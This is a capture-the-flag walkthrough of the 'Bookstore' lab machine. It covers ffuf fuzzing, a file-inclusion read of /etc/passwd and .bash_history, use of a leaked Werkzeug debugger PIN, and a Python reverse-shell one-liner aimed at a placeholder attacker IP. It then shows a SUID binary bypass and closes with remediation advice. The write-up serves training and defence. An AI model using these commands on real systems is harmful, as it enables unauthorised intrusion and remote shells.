Target IP: bookstore.thm (Requires /etc/hosts entry) Difficulty: Medium Objective: User (user.txt) & Root (root.txt) Flags

1. Executive Summary

“Bookstore” is a Linux machine hosting a Python Flask web application. Enumeration of the web service (Port 5000) reveals an API documentation endpoint. We discover a Local File Inclusion (LFI) vulnerability in an older API version (v1) by fuzzing parameters. This LFI allows us to read the .bash_history, leaking a hardcoded Werkzeug Debugger PIN. We use this PIN to access the interactive debug console and achieve Remote Code Execution (RCE). Privilege escalation involves reverse engineering a custom SUID binary (try-harder) to identify the correct input required to spawn a root shell.

Key TTPs (MITRE ATT&CK):

  • T1190 (Exploit Public-Facing App): Exploiting Werkzeug Debugger.
  • T1596 (Search Open Technical Databases): Enumerating API versions via robots.txt.
  • T1005 (Data from Local System): LFI to read .bash_history.
  • T1548 (Abuse Elevation Control Mechanism): Exploiting SUID binary via logical bypass.

2. Operational Setup

Host Configuration

echo "10.10.x.x bookstore.thm" | sudo tee -a /etc/hosts

Workspace

  • Pane 1: nmap, curl.
  • Pane 2: ffuf (Fuzzing).
  • Pane 3: Shell/Python.

3. Enumeration: “What do we see?”

A. Network Scanning

nmap -sC -sV -oA nmap/bookstore bookstore.thm

Results:

  • 22/tcp (SSH): OpenSSH 7.6p1.
  • 80/tcp (HTTP): Apache 2.4.29 (Static site, “Book Store”).
  • 5000/tcp (HTTP): Werkzeug/Flask (Python 3.6.9). This is the main target.

B. Web Enumeration (Port 5000)

Visiting http://bookstore.thm:5000/ shows a generic landing page. Checking robots.txt reveals the /api endpoint.

API Documentation: The documentation lists endpoints for v2:

  • /api/v2/resources/books/all
  • /api/v2/resources/books?id=1

Hypothesis: If v2 exists, does v1 exist? We check http://bookstore.thm:5000/api/v1/resources/books/all. It works.

Developers often patch vulnerabilities in v2 but leave v1 active and vulnerable for backward compatibility.

C. Fuzzing for LFI

We suspect LFI. The documentation shows parameters like id, author, published. We need to find hidden parameters.

ffuf -u http://bookstore.thm:5000/api/v1/resources/books?FUZZ=.bash_history -w /usr/share/wordlists/dirb/common.txt -fs 0
  • Match Found: show

Verification:

curl "http://bookstore.thm:5000/api/v1/resources/books?show=/etc/passwd"

Result: We can read files.


4. Initial Access: The Werkzeug Console

A. Leaking Secrets

We check the user’s history for clues.

curl "http://bookstore.thm:5000/api/v1/resources/books?show=.bash_history"

Output:

cd /home/sid
whoami
export WERKZEUG_DEBUG_PIN=123-321-135
python3 /home/sid/api.py

Critical Finding: WERKZEUG_DEBUG_PIN=123-321-135.

B. Exploiting the Debugger

Werkzeug (the library powering Flask) has a built-in debugger at /console. Usually, this is locked and requires a PIN that is generated based on machine specific data (MAC address, etc.), or printed to stdout on start. Here, the admin hardcoded it.

  1. Navigate to http://bookstore.thm:5000/console.
  2. Click the CLI icon. It prompts for a PIN.
  3. Enter: 123-321-135.
  4. Access Granted: We now have a Python REPL running on the server.

C. Remote Code Execution

In the browser console, we execute Python to send a reverse shell.

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.YOUR.IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

Status: Shell as sid.


5. Privilege Escalation: Reverse Engineering

Enumeration

We find a suspicious SUID binary.

find / -perm -u=s -type f 2>/dev/null
# /home/sid/try-harder

Running it:

./try-harder
# Prompts for a number.
# Returns "Incorrect" if wrong.

Analysis (The XOR Logic)

You analyzed the binary (likely using Ghidra or just trial and error logic) and found the core validation: The program accepts a number, performs XOR operations with constants, and compares it to a target.

The Logic: ((Input ^ 0x1116) ^ 0x5db3) == 0x5dcd21f4

The Math

Since XOR is reversible (A ^ B = C means C ^ B = A), we can reverse the equation to find the Input.

Solver Script:

python3 -c 'print(0x5dcd21f4 ^ 0x1116 ^ 0x5db3)'

Result: 1573743953

Exploitation

./try-harder
# What's The Magic Number?!
1573743953

Result: Root shell.


6. Code Review (Why LFI happened)

Looking at the source code you dumped (api.py), here is the vulnerability:

Vulnerability in api_filter (v1):

@app.route('/api/v1/resources/books', methods=['GET'])
def api_filter():
    # ...
    show  = query_parameters.get('show') # <--- Takes user input
    # ...
    if show:
        try:
            with open(show, 'r') as f:   # <--- Opens it DIRECTLY
                return f.read()

Fix in api_filterv2 (v2): The v2 function simply removes the show parameter handling entirely, relying only on SQL queries. This is why fuzzing v2 failed but v1 worked.


7. Remediation (Blue Team)

  1. Remove Legacy Code: If v2 is the production API, v1 code should be removed or strictly firewalled, not left accessible.
  2. Disable Debuggers: Werkzeug debugger should never be enabled (debug=True) on production interfaces (0.0.0.0). It allows RCE by design.
  3. Input Validation: The show parameter allowed absolute paths. Use os.path.basename or a whitelist of allowed files.
  4. Secrets Management: Never export secrets like PINS in .bash_history or environment variables that persist in history. Use history -c or valid secrets management vaults.